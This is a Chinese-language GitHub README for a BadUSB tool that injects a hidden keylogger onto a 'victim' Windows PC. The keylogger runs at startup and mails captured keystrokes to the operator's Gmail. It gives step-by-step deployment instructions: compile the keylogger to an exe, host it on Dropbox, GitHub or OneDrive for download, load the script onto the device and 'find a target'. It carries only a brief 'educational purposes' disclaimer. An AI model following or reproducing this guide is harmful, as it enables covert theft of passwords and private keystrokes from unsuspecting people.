tuconnaisyouknow/BadUSB_keyloggerInjector
GitHub: tuconnaisyouknow/BadUSB_keyloggerInjector
通过 BadUSB 设备向 Windows 系统自动注入隐蔽键盘记录器的安全研究工具。
Stars: 159 | Forks: 76
# BadUSB_keyloggerInjector
# 警告 ⚠️
本仓库中的所有内容**严格**仅用于教育目的。请注意,**我对**任何被盗数据**概不负责**。您须对自己使用开发的 **BadUSB** 脚本所采取的行为**负责**。
# 关于 ℹ️
此**脚本**允许您注入一个在 **Windows** 启动时运行的隐形**键盘记录器**。为此,我使用了这个[键盘记录器脚本](https://github.com/x4nth055/pythoncode-tutorials/tree/master/ethical-hacking/keylogger)。
### 注意事项 1(针对 arduino BadUSB)
有时,您会看到类似这样的内容:
```
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
```
这只是为了输入这些字符:"@"、"\\"。但这取决于计算机的键盘布局,因此请通过此[网站](https://www.csee.umbc.edu/portal/help/theory/ascii.txt)以及您实际使用键盘输入这些字符的序列来调整这些字符。(或者将键盘布局切换为法语)。
### 美式键盘布局
对于美式键盘布局,您只需将 "\\" 替换为以下内容:
```
Keyboard.press(92);
Keyboard.releaseAll();
```
并将 "@" 替换为以下内容:
```
Keyboard.press(64);
Keyboard.releaseAll();
```
### 注意事项 2
您可以根据插入 **BadUSB** 的速度自定义**延迟**。
### 注意事项 3
当您将 BadUSB 插入 PC 时,必须等待 Caps Lock 指示灯闪烁后才能将其拔出。
# 开始使用 ✔️
## 环境要求
1. 拥有一个 **BadUSB**。
2. 在[此处](https://www.arduino.cc/en/software)安装 **Arduino 软件**(如果您的 BadUSB 基于 Arduino);
3. 拥有一个 **Gmail** 帐户并在[此处](https://www.google.com/settings/security/lesssecureapps)启用**安全性较低的应用访问权限**;
4. 您的 PC 上已安装最新版本的 Python;
5. 您的 PC 上已安装最新版本的 pip;
6. 拥有一台安装了 **Windows OS** 的受害者 PC;
# 安装最新版本的 Python 和 pip
## Python
1. 在[此处](https://www.python.org/downloads/windows/)下载最新的 Python 版本(64 位或 32 位安装程序);
2. 现在运行安装程序;
3. 选中“Add python.exe to PATH”复选框,然后点击“install now”;
## Pip
1. 启动 powershell 提示符并运行以下命令以下载 get-pip.py:
```
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
```
2. 然后运行以下命令以安装 pip:
```
python get-pip.py
```
## 安装
1. 下载本仓库;
**Linux:**
```
git clone https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector
cd BadUSB_keyloggerInjector
```
**Windows:** 点击主页右上角的绿色按钮。然后点击“Download Zip”并解压 zip 文件。
2. 在[此处](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/keylogger.py)的第 8、9 行替换您的邮箱和密码;
3. 使用以下命令将 keylogger.py 转换为 exe 文件:
```
pip install pyinstaller
pyinstaller --onefile -w keylogger.py
```
4. [上传](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/edit/main/README.md#how-to-set-a-link-for-wget-the-script-%EF%B8%8F)您的文件以下载它们;
5. 将[此处](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/keylogger.ino)第 93 行的链接替换为 keylogger.exe 的链接;
6. 将 .ino 或 .txt 文件放入您的 BadUSB 中;
7. 寻找目标并开始吧!
## 受害者 PC 的要求
* 关闭 Caps Lock。
* 将键盘布局切换为法语(或根据您的布局调整代码)。
# 如何设置链接以通过 wget 下载脚本 ⬇️
请记住先上传 keylogger.exe 文件,以便将其链接添加到 startSrcipt.ps1 文件中。
## Dropbox
1. 在[此处](https://www.dropbox.com)创建一个 Dropbox 帐户;
2. 上传您的文件;
3. 复制该文件的链接,并将 ?dl=0 更改为 ?dl=1;
4. 您将获得一个类似这样的链接:https://dropbox.com/s/link/YOURFILE?dl=1;
5. 现在将此链接放入 [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) 或 [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) 文件中;
## Github
1. 在[此处](https://github.com/signup)创建一个 Github 帐户;
2. 创建一个公开仓库;
3. 上传您的文件;
4. 转到您的文件页面并点击 RAW 按钮;
5. 复制 RAW 页面链接并将其放入 [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) 或 [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) 文件中;
## One Drive
1. 在[此处](https://signup.live.com/signup)创建一个 One Drive 帐户;
2. 上传您的文件;
3. 按照此[教程](https://mangolassi.it/topic/19276/how-to-configure-a-onedrive-file-for-use-with-wget)操作;
4. 将您获得的链接放入 [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) 或 [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) 文件中;
标签:AI合规, Arduino, BadUSB, Python, 无后门, 漏洞挖掘, 逆向工具, 键盘记录